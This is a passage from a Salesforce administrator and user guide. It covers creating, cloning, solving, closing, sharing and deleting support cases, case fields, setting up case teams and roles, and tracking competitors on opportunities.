the user responds to the email, the task is removed from the owner's task list and added to the case's Activity History related
list. The user can also move an email task to which they have not responded to the Activity History related list by changing
its status to “Completed.”
Note: When inbound emails create a new case and your assignment rules route that case to a queue, the “Email” task
is assigned to the user configured in the email agent.
If an inbound email does not contain the email address of an existing contact, then the Web Name field on the case is
automatically updated with the name in the From field of the email, and the Web Email field on the case is
automatically updated with the address provided in the inbound email.

Tip: When running the Cases with Emails report, select the Is Incoming checkbox on the Select Column page of
the report wizard to see the cases received via Email-to-Case.

See Also:
Setting Up Email-to-Case or On-Demand Email-to-Case

1338
Cases Creating Cases

Creating Cases
Case assignment rules, Web-to-Case, Email-to-Case, and the Self-Service portal are available in: Professional, Enterprise,
Unlimited, and Developer Editions.

User Permissions Needed


To view cases: “Read” on cases
To create cases: “Create” on cases

You can create cases in various ways:

• Your administrator can set up Web-to-Case and either Email-to-Case or On-Demand Email-to-Case to automatically
capture cases from your website and customer emails (see Capturing Web Cases on page 682 and Setting Up Email-to-Case
or On-Demand Email-to-Case on page 685)
• Your customers can log their own cases from the Self-Service portal or Customer Portal
• You can create cases manually in the Cases tab

To create a new case for a support email or phone call:

1. Use Search to find the individual’s account, and then locate the contact in the Contacts related list.
If the contact does not exist, create a new contact on page 1384 for that account.
2. Click New in the Cases related list of the contact.
Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record
Type after this step. This determines the picklist values and support process available when creating and editing a record.
3. Enter information for the case.
When you enter or select a contact for the Contact Name field, the Account Name field defaults to the account associated
with the contact when you save the case. However, you can change the account in the Account Name field during
subsequent updates.
4. To associate the case with an asset:

a. Click the Asset lookup icon. Initially, the asset lookup lists all assets for the contact if one is selected. Enter search
criteria and click Go! to refine this list.
b. Select an asset from the assets listed to associate it with the case.
c. If you do not find a matching asset, click New to create a new asset from the lookup dialog and associate it with the
new case. The New button displays if your organization has enabled Quick Create and you have the “Create” permission
on assets.
d. To associate the new asset with a product, enter your product search criteria and click Go! or select a product from the
list of matches. Click Skip if you do not want to associate the asset with a product.
e. Enter the asset details and click Save. For details on assets, see Creating Assets on page 1229.

5. If enabled by your administrator, you can associate the case with another case. Simply type the case number of the parent
in the Parent Case field. Alternatively, you can click the lookup icon to search for a case's case number.

1339
Cases Cloning Cases

When a case is associated with a parent case it signifies a relationship between cases, such as a grouping of similar cases
for easy tracking, or a division of one case into multiple cases for various users to resolve. For more information, see Related
Cases on page 1336 and Viewing Case Hierarchies on page 1335.
6. In Professional, Enterprise, Unlimited, and Developer Editions, you can:

• Deselect Visible in Self-Service Portal if you do not want the case to be available in the Self-Service portal.
• If enabled for your organization, select the Assign using active assignment rules checkbox to automatically
assign the case using your organization's active assignment rule (see Managing Assignment Rules on page 699). If you
do not select the checkbox, you are assigned as the owner.
• If enabled for your organization, select the Send notification email to contact checkbox to automatically
send an email to the contact indicating that the case was created. The template for this email is specified in Support
Settings (see Customizing Support Settings on page 678).

7. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Description
field. Spell Checker does not support all the languages that Salesforce.com supports. For example, Thai, Russian, and
double-byte languages, such as Japanese, Korean, or Chinese, are not supported.
8. Click Save to save the case, or click Save & New to save the case and create another. Alternatively, click Save & Close to
save and close the case immediately. This sets the Closed When Created field on the case, which indicates that the
case was closed during creation.

Note: When you save a newly-created case with the assignment rule box checked, the record type of the case might
change, depending on what behavior your administrator specified for assignment rules. For more information, see
Customizing Support Settings on page 678.

To create a case from any page, select Case from the Create New drop-down list in the sidebar. To create a case from the
cases home page, click New in the Recent Cases section.
If your organization uses divisions, the division of a new case is automatically set to the division of the related contact.

See Also:
Cloning Cases
Case Fields
Cases Home
Solving Cases

Cloning Cases
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone cases: “Create” on cases

The Clone button on a case quickly creates a new case using information from the existing case, for example, when you need
to log multiple issues for a customer on a support call.

1340
Cases Case Fields

Click Clone on an existing case. Enter or change any information for the new case. Check the box to assign the case automatically
using your active assignment rule. Click Save.
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Case Fields

Case Fields
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

A case has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)

Field Description
Escalated case icon. Indicates that a case has automatically
been escalated via your organization’s active escalation rule.
The escalated case icon no longer displays on a case after the
case is closed or does not meet escalation criteria.

Comment icon. Indicates that a Self-Service user has added


a comment to the case. The icon appears until the case owner
views the case.
Account Name Name of account for the contact to which the case is linked.
Automatically filled in when you link the case to a contact and
save the case. During subsequent updates, however, you can
enter a different account name, or select a different account
using the lookup icon.
Asset Specific product model the customer is using.
Business Hours Indicates the hours at which escalation actions run on the case.
For more information, see Setting Business Hours on page
674.

Case Currency The default currency for all currency amount fields in the case.
Amounts display in the case currency, and are also converted
to the user’s personal currency. Available only for organizations
that use multiple currencies.

1341
Cases Case Fields

Field Description
Case Division Division to which the case belongs. This value is automatically
inherited from the related contact, or is set to the default global
division if no contact is specified.
Available only in organizations that use divisions to segment
their data.

Case Number Automatically generated identifying number. Numbering for


cases starts at “1000.” (Read only)
Administrators can modify the format and numbering for this
field. See Modifying Standard Auto-Number Fields on page
422.
Case numbers frequently increase sequentially, but sometimes
they may skip numbers in a sequence.

Case Owner Assigned owner of case.


Case Record Type Name of the field that determines what picklist values are
available for the record. The record type may be associated
with a support process. Available in Enterprise, Unlimited,
and Developer Editions.
Closed by Self-Service User Checkbox that shows if a case was closed by the user from the
Self-Service portal. This checkbox is automatically set and
cannot be changed manually. Report on this field to see how
many cases have been closed by users via suggested solutions
on the Self-Service portal. (Read only)
Closed When Created Checkbox that shows if a case was closed during creation via
the Save and Close button. This checkbox is automatically
set and cannot be changed manually. Report on this field to
see how many cases have been immediately saved and closed
upon creation by support reps. (Read only)
Contact Email Email address of contact associated with the case.
Automatically filled in with the contact’s email address when
you link a contact to the case. (Read only)
Contact Mobile Mobile phone number of contact associated with the case.
Automatically filled in with the contact’s mobile phone number
when you link a contact to the case. (Read only)
Contact Name Name of contact to which the case is linked. You can enter
the contact name, or select the contact using the lookup icon.
Contact Phone Primary phone number of contact associated with the case.
Automatically filled in with the contact’s primary phone
number when you link a contact to the case. (Read only)
Created By User who created the case, including creation date and time.
(Read only)

1342
Cases Case Fields

Field Description
Date/Time Closed Automatically generated date and time that the case was
closed. (Read only)
Date/Time Opened Automatically generated date and time that the case was
opened. (Read only)
Description Field describing the issue. Up to 32KB of data are allowed in
this field. Only the first 255 characters display in reports.
Internal Comments Internal notes related to the case. Up to 4KB of data are
allowed in each comment. You can enter comments while
editing a case. They are displayed in the Case Comments
related list. Comments marked “public” may be viewed on
your Self-Service portal and Customer Portal. (Editable or
hidden only)
Modified By User who last changed the case fields, including modification
date and time. This does not track changes made to any of
the related list items on the case. (Read only)
Origin Source of case, for example, Phone, Email, or Web. Entry is
selected from a picklist of available values, which are set by an
administrator. Each picklist value can have up to 40 characters.
Parent Case Case above one or more related cases in a case hierarchy. The
parent case must be an existing case in Salesforce.com. You
can enter the case number, or select the case number using
the lookup icon.
Priority Urgency of case. Entry is selected from a picklist of available
values, which are set by an administrator. Each picklist value
can have up to 20 characters.
Reason Reason the case was opened, for example, Instructions not
clear, Complex functionality. Entry is selected from a picklist
of available values, which are set by an administrator. Each
picklist value can have up to 40 characters.
Status Status of the case, for example, New, On hold. Entry is
selected from a picklist of available values, which are set by an
administrator. Each picklist value can have up to 40 characters.
Subject Brief description of customer’s issue, for example, “Printing
Gives Error on Internet Explorer.”
Type Type of case, for example, Question, Problem. Entry is selected
from a picklist of available values, which are set by an
administrator. Each picklist value can have up to 40 characters.
Custom Links Listing of custom links for cases as set up by your
administrator.

1343
Cases Solving Cases

Field Description
Visible in Self-Service Portal Checkbox that indicates whether the case is visible to users in
the Self-Service portal.
In the Web-to-Case setup, you must include this field if you
want web-generated cases to be visible in the Self-Service
portal.

Web Company Company name supplied by the customer who submitted the
case via Web-to-Case, Email-to-Case, or On-Demand
Email-to-Case.
Web Email Email address supplied by the customer who submitted the
case via Web-to-Case, Email-to-Case, or On-Demand
Email-to-Case.
Web Name Customer’s name as supplied by the customer who submitted
the case via Web-to-Case, Email-to-Case, or On-Demand
Email-to-Case.
Web Phone Phone number supplied by the customer who submitted the
case via Web-to-Case, Email-to-Case, or On-Demand
Email-to-Case.

See Also:
Displaying and Editing Cases
Creating Cases
Cloning Cases

Solving Cases
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To solve cases: “Edit” on cases
AND
“Read” on solutions

To solve a case:

1. View the case.


2. Find an article or find a solution that answers the case's question.

1344
Cases Closing Cases

3. Attach the article or solution to the case:


• Click Select next to a reviewed solution in the list of solutions. Or, click the title of an unreviewed solution and choose
Select on the solution detail page.

4. Email the solution to the contact by clicking Send Email in the Activity History related list.

a. Click Select Template and choose a template.


You or your administrator can create email templates that automatically include the case description, solution detail,
solution attachments, and other fields.
b. Fill in the email fields.
c. Click Send.
The emailed solution or article is logged as an activity in the Activity History related list.

5. Close the case.

See Also:
What are Suggested Solutions?
What are Multilingual Solutions?

Closing Cases
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To close cases: “Edit” on cases

To close a case:

1. Click Close Case on the case detail page, Cls on the Cases related list, or click Save & Close while editing the case.
If enabled by your administrator, you can select Closed from the Status field on case edit pages and click Save without
having to follow any more steps.
2. Select the Closed Status, add an Internal Comment, if needed, and fill in any other fields.
3. In Professional, Enterprise, Unlimited, and Developer Edition organizations, to create a solution from this case, fill in the
Solution Details, and remove the check from Submit to public solutions if you do not want to submit the
solution for review by your solution managers. Leaving this field checked automatically links the case to the solution.
You can't create an article from a case.
4. If there is a contact associated with this case, select the Notify contact on case close checkbox to send an email
based on the Case Close Template to the contact when the case is closed.
5. Click Save to finish.

1345
Cases Sharing Cases

6. Remember to send the solution to the contact as described in Solving Cases on page 1344.

An administrator or user with the “Manage Cases” permission can close multiple cases at one time using the Close button on
the cases list page. This is recommended for cases that are similar and have the same solution. See Changing Multiple Cases
on page 1329.

See Also:
Deleting Cases
Tips on Writing Solutions

Sharing Cases
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view cases: “Read” on cases

Your administrator defines the default sharing model for your entire organization. You can change this model to extend sharing
to more users than the default set by your administrator. However, you cannot change the sharing model to make it more
restrictive than the default.
To view and manage sharing details, click Sharing on the case detail page. The Sharing Detail page lists the users, groups,
roles, and territories that have sharing access to the case. On this page, you can do any of the following:

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Add to grant access to the record for other users, groups, roles, or territories.
Note: To share a case with another user, that user must have access to the account associated with the case and
the “Read” permission on cases.

• Click Expand List to view all users that have access to the record.
• For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

See Also:
Granting Access to Records
Viewing Which Users Have Access

1346
Cases Deleting Cases

Deleting Cases
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete cases: “Delete” on cases

To delete a case, click Del next to the case on the cases list page, or click Delete on the case detail page. The Del link and
Delete button do not display for users who do not have the “Delete” permission on cases.
When you delete a case, all related events and tasks, case comments, and attachments are also deleted. Associated contacts,
accounts, and solutions are not deleted with the case. The deleted case is moved to the Recycle Bin. If you undelete the case,
any related items are also restored.
Note: If you delete an event, task, case comment, or attachment from a case—and then delete the case— the event,
task, case comment, or attachment cannot be restored via undelete.

See Also:
Recycle Bin

Searching for Cases


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view cases: “Read” on cases

To find specific cases:

1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.

1347
Cases Searching for Cases

You can also create a case list view to find cases that match specific criteria.

See Also:
Search Overview

1348
CASE TEAMS

Case Teams Overview


Available in: Enterprise, Unlimited, and Developer Editions

A case team is a team of users that work together on a case. For example, your case team may include a support rep, support
manager, and a product manager.
You can build a case team on the Case Team related list of a case. When selecting a team member, choose a role to indicate
the role the person plays on the case. Case team roles determine the level of access each case team member will have to the
case. For example, you can choose a role that gives some team members Read Only access and others Read/Write access to
the case. Furthermore, administrators can set up workflow alerts to specify what actions on a case will send an email notification
to case team members. For example, an administrator could set up workflow alerts to send notifications to case team members
when a new case comment is added to a case.
Users with the “Customize Application” permission can predefine case teams. Predefined case teams can include the users
that you normally work with on your cases. Administrators have the option to create assignment rules that automatically add
predefined case teams to all cases that match assignment rule criteria. For more information, see Setting Up Assignment Rules
on page 700.
You can filter case lists by case teams where you are a member. Simply select the My Case Teams filter on case list views.
For more information, see Creating Custom List Views on page 1691.You can also report on case teams in which you are a
member. After you run a case report, select My team's cases from the View filter. For more information, see Running Reports
on page 1893.
Note: Case teams are not the same as account teams or sales teams. Account teams work together on accounts, while
sales teams work together on opportunities.

See Also:
Setting Up Case Teams

1349
Case Teams Setting Up Case Teams

Setting Up Case Teams


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up case teams: “Customize Application”
AND
“Manage Users”

To add team members: “Edit” on cases

A case team is a team of users that work together on a case. For example, your case team may include a support rep, support
manager, and a product manager.
Every member of a case team has a role that he or she plays for the case, such as “Customer Contact” or “Case Manager”.
Roles determine access to the case, like Read Only or Read/Write access, and whether the member in the role is visible to
users in the Customer Portal.
To set up case teams:

1. Define case team roles.


2. Add the Case Team related list to case page layouts.
The Case Team related list enables users to add case team members and predefined case teams to cases.
3. Optionally, predefine case teams so that users can easily add the users they usually work with to cases.
4. Set up workflow alerts to specify what actions on a case will send an email notification to case team members.
5. Optionally, create assignment rules so that when a case matches assignment rule criteria, a predefined case team is
automatically added to the case.

Tips on Setting Up Case Teams


Consider the following when setting up case teams:
• Case teams are not available for the partner portal.
• Customer Portal users can view the Case Team related list if it is included on case page layouts associated with their profile.
However, Customer Portal users cannot update case teams or view case team role details on cases. For more information,
see Customizing Page Layouts on page 620.
• Case teams count towards your organization's overall storage limit. Each team member on a case counts towards 2 KB of
storage space. For more information on your organization's overall storage limits, see Monitoring Resources on page 253.

See Also:
Case Teams Overview

1350
Case Teams Setting Up Case Teams

Setting Up Email Alerts for Case Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up case teams: “Customize Application”
AND
“Manage Users”

To create or change workflow rules: “Customize Application”


To create or change email alerts: “Customize Application”

A case team is a team of users that work together on a case. For example, your case team may include a support rep, support
manager, and a product manager.
You can set up email alerts for case team members so that each time a case is updated or created, team members associated
with the case are automatically notified.
To set up email alerts for members on case teams:

1. Create email templates with which to notify case team members. For more information, see Managing Email Templates
on page 109.
Optionally, enter merge fields in the template subject and text body. These fields will be replaced with information from
your records when you send an email. For details about using merge fields, see Merge Fields Overview on page 100.
2. Set up workflow rules that specify what actions on a case trigger email notifications to case team members:

a. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules.


b. On the workflow rules list page, click New Rule.
c. Choose Case from the Select object picklist and click Next.
d. Enter a rule name.
e. Optionally, enter a description for the rule.
f. Choose the evaluation criteria.
We recommend that you select the Every time a record is created or edited evaluation criteria because
this ensures that every case is evaluated as to whether it should trigger notifications to case team members.
g. Enter your rule criteria.
We recommend that you choose criteria are met and select the filter criteria that a case must meet to trigger
notifications to case team members. For example, set the filter to Case: Status equals New if you want case
team members to receive a notification each time a case's status is set to New.
h. Optionally, enter advanced filter conditions.
i. Click Save & Next.

3. Add email alerts to the workflow rule so that notifications are sent to case team members when actions on cases match
rule criteria:

1351
Case Teams Setting Up Case Teams

a. Click Add Workflow Action and choose New Email Alert from the drop-down button.
b. Enter a description for the email alert.
The object is read only if the new email alert is associated with a workflow rule for a particular object.
c. Choose an email template.
d. Select the type of recipients who you want to receive this email alert.
Optionally, select Case Team from the Recipient Type picklist to choose all users with a particular case team role
as recipients.
The recipients that match your search results appear in the Available Recipients list.
e. Select the recipients who you want to receive this email alert in the Available Recipients list and click Add to add them
to the Selected Recipients list.
f. Optionally, enter up to five additional email addresses.
g. Click Save.

4. Activate the workflow rule and its associated email alert:


a. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules.
b. Click Activate next to the name of the rule.
Note: You can click Deactivate at any time to prevent the rule from firing when its conditions are met; however,
if you deactivate a rule that has pending actions, Salesforce.com completes those actions as long as the record
that triggered the rule is not updated.

Tip: For more information on workflow rules and email alerts, see:

• Creating Workflow Rules on page 798


• Managing Workflow Rules on page 796
• Creating Email Alerts for Workflow and Approvals on page 807
• Managing Email Alerts on page 806

See Also:
Setting Up Case Teams

1352
Case Teams Defining Case Team Roles

Defining Case Team Roles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up case teams: “Customize Application”
AND
“Manage Users”

To add team members: “Edit” on cases

A case team is a team of users that work together on a case. For example, your case team may include a support rep, support
manager, and a product manager. Every member of a case team has a role that he or she plays for the case, such as “Customer
Contact” or “Case Manager”. Roles determine access to the case, like Read Only or Read/Write access, and whether the
member in the role is visible to users in the Customer Portal.
To access the Case Team Roles page, click Setup ➤ Customize ➤ Cases ➤ Case Teams ➤ Case Team Roles. From the
Case Team Roles page, click the appropriate links to perform the following actions:

Create Team Roles


To create a case team role:
1. Click New.
2. Enter a name for the role.
3. From the Case Access picklist, select the role's level of access to cases. The possible access levels are:

Access Level Description


Read/Write User can view and edit the record, and add associated
records, notes, and attachments to it.
Read Only User can view the record, and add associated records to it.
They cannot edit the record or add notes or attachments.
Private User cannot access the record in any way.

4. Optionally, select Visible in Customer Portal if you want the users in this role visible to Customer Portal users
viewing cases.
Customer Portal users included in a case team can view themselves on the Case Team related list of cases, even if they are
in a role where the Visible in Customer Portal checkbox is not selected.
5. Click Save. Alternatively, click Save & New to save the role and begin creating another new role.
After you create case team roles, you can predefine case teams. For more information, see Predefining Case Teams on page
1354.

1353
Case Teams Predefining Case Teams

Update Team Roles


To update a case team role:
1. Click Edit next to the name of the case team role you wish to update.
2. Update the appropriate fields.
3. Click Save.

Replace Team Roles


To replace a case team role and globally replace the role in all existing cases:
1. Click Replace next to the name of the case team role you wish to replace.
2. Choose a case team role with which to replace the existing role
3. Click Save.

Tips on Defining Case Team Roles


Consider the following when defining case team roles:
• By default, case owners have full access to cases they own. Case team roles cannot update case owners access level to cases.
• You can add contacts and Customer Portal users to roles that have Read/Write access on cases. However, only contacts
enabled as Customer Portal users can access cases, as contacts cannot log in to Salesforce.com. For more information, see
Enabling the Customer Portal for Contacts and Person Accounts on page 1386.
• Currently, you can create an unlimited amount of roles for case teams. Yet, because case team roles cannot be deleted, we
recommend that you create no more than 20 roles so that users do not have too many roles to choose from when working
with case teams.
• If your organization has only one case team role, you cannot replace it.

See Also:
Setting Up Case Teams
Case Teams Overview

Predefining Case Teams


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up case teams: “Customize Application”
AND
“Manage Users”

To add team members: “Edit” on cases

A case team is a team of users that work together on a case. For example, your case team may include a support rep, support
manager, and a product manager.

1354
Case Teams Predefining Case Teams

After you define case team roles, you can predefine case teams so that users can quickly add a team of specific users to the
Case Team Members related list on cases.
To access the Predefined Case Teams page, click Setup ➤ Customize ➤ Cases ➤ Case Teams ➤ Predefined Case Teams.
From the Predefined Case Teams page, click the appropriate links to perform the following actions:

Create Predefined Case Teams


To create a predefined case team:
1. Click New.
2. Enter a name for the team.
3. Optionally, enter a description for the team.
4. Optionally, add team members:
a. Select the type of user from the Team Member picklist, either User, Contact, or Portal User; then click the Lookup
icon ( ) to choose a specific user to add to the team.
Contacts can only view cases via a Customer Portal. To enable contacts to access a Customer Portal, see Enabling the
Customer Portal for Contacts and Person Accounts on page 1386.
b. Select the case team role to apply to the team member from the Member Role picklist.
Every member of a case team has a role that he or she plays for the case, such as “Customer Contact” or “Case Manager”.
Roles determine access to the case, like Read Only or Read/Write access, and whether the member in the role is visible
to users in the Customer Portal. For more information, see Defining Case Team Roles on page 1353.

5. Click Save.

Add Team Members to Predefined Case Teams


To add a new member to a predefined case team:
1. Select the name of the predefined case team.
2. Click Add Team Member.
3. Select the type of user from the Team Member picklist, either User, Contact, or Portal User; then click the Lookup icon
( ) to choose a specific user to add to the team.
Contacts can only view cases via a Customer Portal. To enable contacts to access a Customer Portal, see Enabling the
Customer Portal for Contacts and Person Accounts on page 1386.
4. Select the case team role to apply to the team member from the Member Role picklist.
Every member of a case team has a role that he or she plays for the case, such as “Customer Contact” or “Case Manager”.
Roles determine access to the case, like Read Only or Read/Write access, and whether the member in the role is visible to
users in the Customer Portal. For more information, see Defining Case Team Roles on page 1353.
5. Click Save.

Update Predefined Case Teams


To update a predefined case team:
1. Click Edit next to the name of the predefined case team you wish to update.
Optionally, click Del to delete the predefined case team.

1355
Case Teams Predefining Case Teams

When you delete a predefined case team, the case team is automatically removed from all cases with which it is associated.
Furthermore, you cannot retrieve deleted predefined case teams from the Recycle Bin. For more information, see Recycle
Bin on page 1593.
2. Update the appropriate fields.
3. Click Save.

Update Predefined Case Teams Members


To update the team members on a predefined case team:
1. Select the name of the predefined case team.
2. Optionally, click:
• A member's name to view that user's details.
If you have the “Manage Users” permission, you can update the user's details and reset the user's password from the
user's detail page. For more information, see Editing Users on page 130.
• A member's case team role to update the details of the case team role.
Every member of a case team has a role that he or she plays for the case, such as “Customer Contact” or “Case Manager”.
Roles determine access to the case, like Read Only or Read/Write access, and whether the member in the role is visible
to users in the Customer Portal. For more information, see Defining Case Team Roles on page 1353.

3. Click Edit.
4. Optionally:
• Click the Remove link next to an existing team member to remove him or her from the case team.
When you remove a member from a predefined case team, the user is automatically removed from all cases with which
he or she is a member of that case team.
• Click the Add 1 Row link to add a new row with which you can add a case team member. For more information, see
Add Team Members to Predefined Case Teams on page 1355.
• On existing team member rows, you can:
- Select the type of user from the Team Member picklist, either User, Contact, or Portal User; then click the Lookup
icon ( ) to choose a specific user to add to the team.
Contacts can only view cases via a Customer Portal. To enable contacts to access a Customer Portal, see Enabling
the Customer Portal for Contacts and Person Accounts on page 1386.
- Select the case team role to apply to the team member from the Member Role picklist.
Every member of a case team has a role that he or she plays for the case, such as “Customer Contact” or “Case
Manager”. Roles determine access to the case, like Read Only or Read/Write access, and whether the member in
the role is visible to users in the Customer Portal. For more information, see Defining Case Team Roles on page
1353.

5. Click Save.

Tips on Predefining Case Teams


Consider the following when predefining case teams:
• You cannot delete a predefined case team if it is associated with an assignment rule. To delete the predefined case team,
you must first remove it from any assignment rules. For more information, Setting Up Assignment Rules on page 700.

1356
Case Teams Adding Case Team Members

• When you delete a predefined case team, the case team is automatically removed from all cases with which it is associated.
Furthermore, you cannot retrieve deleted predefined case teams from the Recycle Bin. For more information, see Recycle
Bin on page 1593.
• When you remove a member from a predefined case team, the user is automatically removed from all cases with which he
or she is a member of that case team.

See Also:
Setting Up Case Teams
Case Teams Overview

Adding Case Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up case teams: “Customize Application”
AND
“Manage Users”

To add team members: “Edit” on cases

To add individual case team members or predefined case teams to a case:

1. View the case.


2. In the Case Team related list, click Update Case Team Members.
3. To add individual members to the case team:

a. Select the type of user from the Team Member picklist (either User, Contact, Portal User, or Partner User), and click
the lookup icon ( ) to choose a specific user.
Portal User and Partner User only display if a partner portal or Customer Portal is enabled for your organization.
You can't add high-volume Customer Portal users on page 1454 to teams.
b. Select the case team role to apply to the team member from the Member Role picklist.
Every member of a case team has a role that he or she plays for the case, such as “Customer Contact” or “Case Manager”.
Roles determine access to the case, like Read Only or Read/Write access, and whether the member in the role is visible
to users in the Customer Portal.

4. To add an existing case team, click the lookup icon ( ) in the Predefined Case Teams section and choose a specific team.
For more information about predefined teams, see Predefining Case Teams on page 1354.
5. Click Save.

1357
Case Teams Adding Case Team Members

Tips on Adding Users to Case Teams


Consider the following when adding users to case teams:
• You cannot add a user to a case team if he or she is already on the case team. For example, if you add a predefined team
to a case that includes a member already on the team, then that member is automatically removed from the predefined
team when it is added to the case.
• Contacts can only view cases via a Customer Portal. To enable contacts to access a Customer Portal, see Enabling the
Customer Portal for Contacts and Person Accounts on page 1386.
• Customer Portal users can view the Case Team related list if it is included on case page layouts associated with their profile.
However, Customer Portal users cannot update case teams or view case team role details on cases. For more information,
see Customizing Page Layouts on page 620.
• You can filter case lists by case teams where you are a member. Simply select the My Case Teams filter on case list views.
For more information, see Creating Custom List Views on page 1691.You can also report on case teams in which you are a
member. After you run a case report, select My team's cases from the View filter. For more information, see Running
Reports on page 1893.
• The possible access levels a case team member can have on a case, as defined by your administrator via case team roles,
include:

Access Level Description


Read/Write User can view and edit the record, and add associated
records, notes, and attachments to it.
Read Only User can view the record, and add associated records to it.
They cannot edit the record or add notes or attachments.
Private User cannot access the record in any way.

See Also:
Setting Up Case Teams
Case Teams Overview

1358
Case Teams Updating Case Team Members

Updating Case Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up case teams: “Customize Application”
AND
“Manage Users”

To add team members: “Edit” on cases

You can update case team members on a case.

1. View the case.


2. On the Case Team related list, click Update Case Team Members.
3. Optionally:

• Click the Remove link next to an existing team member or predefined case team to remove that member or team from
the case.
• Click the Add 1 Row link to add a new row with which you can add a case team member or predefined case team. For
more information, see Adding Case Team Members on page 1357.
• On existing team member rows, you can:

- Select the type of user from the Team Member picklist (either User, Contact, Portal User, or Partner User), and
click the lookup icon ( ) to choose a specific user.
- Select the case team role to apply to the team member from the Member Role picklist.
Every member of a case team has a role that he or she plays for the case, such as “Customer Contact” or “Case
Manager”. Roles determine access to the case, like Read Only or Read/Write access, and whether the member in
the role is visible to users in the Customer Portal. For more information, see Defining Case Team Roles on page
1353.

• On existing predefined case team rows, you can click the lookup icon ( ) to add a specific case team.

4. Click Save.

Tips on Updating Case Team Members


Consider the following when updating case team members:
• You cannot add a user to a case team if he or she is already on the case team. For example, if you add a predefined team
to a case that includes a member already on the team, then that member is automatically removed from the predefined
team when it is added to the case.
• When you remove a user or a predefined case team from a case, you can add the user or predefined case team back to the
case at any time. For more information, see Adding Case Team Members on page 1357.
• Contacts can only view cases via a Customer Portal. To enable contacts to access a Customer Portal, see Enabling the
Customer Portal for Contacts and Person Accounts on page 1386.

1359
Case Teams Case Team Fields

• If you deactivate a user, Salesforce.com prompts you to remove him or her from case teams.
• Customer Portal users can view the Case Team related list if it is included on case page layouts associated with their profile.
However, Customer Portal users cannot update case teams or view case team role details on cases. For more information,
see Customizing Page Layouts on page 620.
• The possible access levels a case team member can have on a case, as defined by your administrator via case team roles,
include:

Access Level Description


Read/Write User can view and edit the record, and add associated
records, notes, and attachments to it.
Read Only User can view the record, and add associated records to it.
They cannot edit the record or add notes or attachments.
Private User cannot access the record in any way.

See Also:
Case Teams Overview
Adding Case Team Members

Case Team Fields


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up case teams: “Customize Application”
AND
“Manage Users”

To add team members: “Edit” on cases

A case team member has the following fields, listed in alphabetical order.

Field Description
Case Access The level of access that a team member has to the case. The
access level can be Read/Write, Read Only, or Private; but it
cannot be less than your organization's default case sharing
access.
Member Name The name of a user listed as part of the case team.

1360
Case Teams Case Team Fields

Field Description
Member Role The role that the team member plays for the case, for example,
“Case Manager”.
Visible in Customer Portal Indicates whether the case team member displays in the
Customer Portal.

See Also:
Case Teams Overview

1361
COMPETITORS

Competitors Overview
Available in: All Editions that signed up prior to the Summer '09 Release in June 2009
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after the
Summer '09 Release in June 2009

You can track competitors in a pending sale by listing the competitors’ names in the opportunity. You can enter the names of
new competitors, or choose from a list of competitors defined by your administrator via Setup ➤ Customize ➤ Opportunities
➤ Competitors. To access this information, go to the Competitors related list of the opportunity.

See Also:
Defining Competitors
Viewing and Editing Competitors
Competitor Fields
Deleting Competitors

Defining Competitors
Available in: All Editions that signed up prior to the Summer '09 Release in June 2009
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after the
Summer '09 Release in June 2009

User Permissions Needed


To define competitors: “Customize Application”

Create a picklist of competitors that your users can attach to opportunities. To add competitors to the picklist:

1. Click Setup ➤ Customize ➤ Opportunities ➤ Competitors.


2. Click New to add competitor names to the list.
3. Enter the name of the competitor.
4. Optionally, check the default option to select this value on any new record when another value is not selected.
5. Click Save.

Use the following options to modify existing competitors:

• Click Reorder to sort the values in your list.


• Click Edit next to a competitor to change it.

1362
Competitors Viewing and Editing Competitors

• Click Del next to a competitor to delete it.

See Also:
Competitors Overview
Defining Competitors
Competitor Fields
Deleting Competitors

Viewing and Editing Competitors


Available in: All Editions that signed up prior to the Summer '09 Release in June 2009
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after the
Summer '09 Release in June 2009

User Permissions Needed


To view competitors: “Read” on opportunities
To edit competitors: “Edit” on opportunities

The Competitors related list of an opportunity shows the competitors for that deal.

• To view information for a competitor, click the competitor’s name.


• Click Edit next to a competitor’s name to edit the strengths and weaknesses of the competitor for the opportunity.
• To add a competitor, click New. Enter the competitor’s name, or click the lookup icon to select from a list of competitors
defined by your administrator via Setup ➤ Customize ➤ Opportunities ➤ Competitors. It does not need to be an
existing account or contact. Then specify the strengths and weaknesses of the competitor, which may be different for each
opportunity.

Note: To add or create a competitor on an opportunity, you must also have access to edit that opportunity.

See Also:
Competitors Overview
Defining Competitors
Competitor Fields
